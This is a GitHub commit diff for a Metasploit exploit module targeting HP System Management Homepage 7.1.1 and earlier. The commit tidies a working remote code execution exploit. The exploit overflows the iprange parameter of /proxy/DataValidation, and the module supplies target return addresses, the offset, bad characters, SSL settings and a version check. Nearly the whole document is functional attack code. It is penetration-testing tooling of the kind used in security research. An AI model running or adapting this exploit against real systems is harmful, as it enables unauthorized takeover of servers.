Skip to content

Commit c55a387

Browse files
author
jvazquez-r7
committed
cleanup for hp_system_management
1 parent 139926a commit c55a387

File tree

1 file changed

+59
-26
lines changed

1 file changed

+59
-26
lines changed

modules/exploits/linux/http/hp_system_management.rb

Lines changed: 59 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -8,64 +8,97 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = AverageRanking
11+
Rank = NormalRanking
12+
13+
HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
1214

1315
include Msf::Exploit::Remote::HttpClient
1416

1517
def initialize(info = {})
1618
super(update_info(info,
1719
'Name' => 'HP System Management Anonymous Access Code Execution',
1820
'Description' => %q{
19-
This module exploits an anonymous remote code execution on hp system management 7.1.1 and inferior.
21+
This module exploits an anonymous remote code execution on HP System Management
22+
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
23+
a request against /proxy/DataValidation. In order to work HP System Management must
24+
be configured with Anonymous access enabled.
2025
},
21-
'Author' => [ 'agix - @agixid' ],
26+
'Author' => [ 'agix' ], # @agixid
2227
'License' => MSF_LICENSE,
2328
'Payload' =>
2429
{
2530
'DisableNops' => true,
2631
'Space' => 1000,
2732
'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
33+
'EncoderOptions' =>
34+
{
35+
'BufferRegister' => 'ESP' # See the comments below
36+
}
2837
},
2938
'Platform' => ['linux'],
3039
'Arch' => ARCH_X86,
3140
'References' =>
3241
[
33-
['URL', 'http://bit.ly/YhjikT']
34-
]
35-
'Targets' => [
36-
42+
#['URL', 'http://bit.ly/YhjikT'],
43+
#['OSVDB', 'http://bit.ly/YhjikT']
44+
],
45+
'Targets' =>
46+
[
3747
[ 'HP System Management 7.1.1 - Linux (CentOS)',
38-
{
39-
'Ret' => 0x8054e14, # push esp / ret
40-
'Offset' => 267
41-
}
48+
{
49+
'Ret' => 0x8054e14, # push esp / ret
50+
'Offset' => 267
51+
}
4252
],
4353
[ 'HP System Management 6.3.0 - Linux (CentOS)',
44-
{
45-
'Ret' => 0x805a547, # push esp / ret
46-
'Offset' => 267
47-
}
54+
{
55+
'Ret' => 0x805a547, # push esp / ret
56+
'Offset' => 267
57+
}
4858
]
49-
5059
],
5160
'DisclosureDate' => 'Sep 01 2012',
5261
'DefaultTarget' => 0))
5362

63+
register_options(
64+
[
65+
Opt::RPORT(2381),
66+
OptBool.new('SSL', [true, 'Use SSL', true])
67+
], self.class)
68+
69+
end
70+
71+
def check
72+
res = send_request_cgi({
73+
'method' => 'GET',
74+
'uri' => "/cpqlogin.htm"
75+
})
76+
77+
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
78+
version = $1
79+
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
80+
end
81+
82+
return Exploit::CheckCode::Safe
83+
end
84+
5485
def exploit
55-
padding = rand_text(target['Offset'])
86+
87+
padding = rand_text_alpha(target['Offset'])
5688
ret = [target['Ret']].pack('V')
57-
uri = "/proxy/DataValidation"
5889
iprange = "a-bz"+padding+ret+payload.encoded
59-
print_status("Sending #{uri.length} bytes payload...")
90+
91+
print_status("#{rhost}:#{rport} - Sending exploit...")
6092

6193
res = send_request_cgi({
62-
'method' => 'GET',
63-
'uri' => uri,
64-
'vars_get' => {
65-
'iprange' => iprange
66-
}
67-
})
68-
handler
94+
'method' => 'GET',
95+
'uri' => "/proxy/DataValidation",
96+
'encode_params' => false,
97+
'vars_get' => {
98+
'iprange' => iprange
99+
}
100+
})
101+
69102
end
70103

71104
end

0 commit comments

Comments
 (0)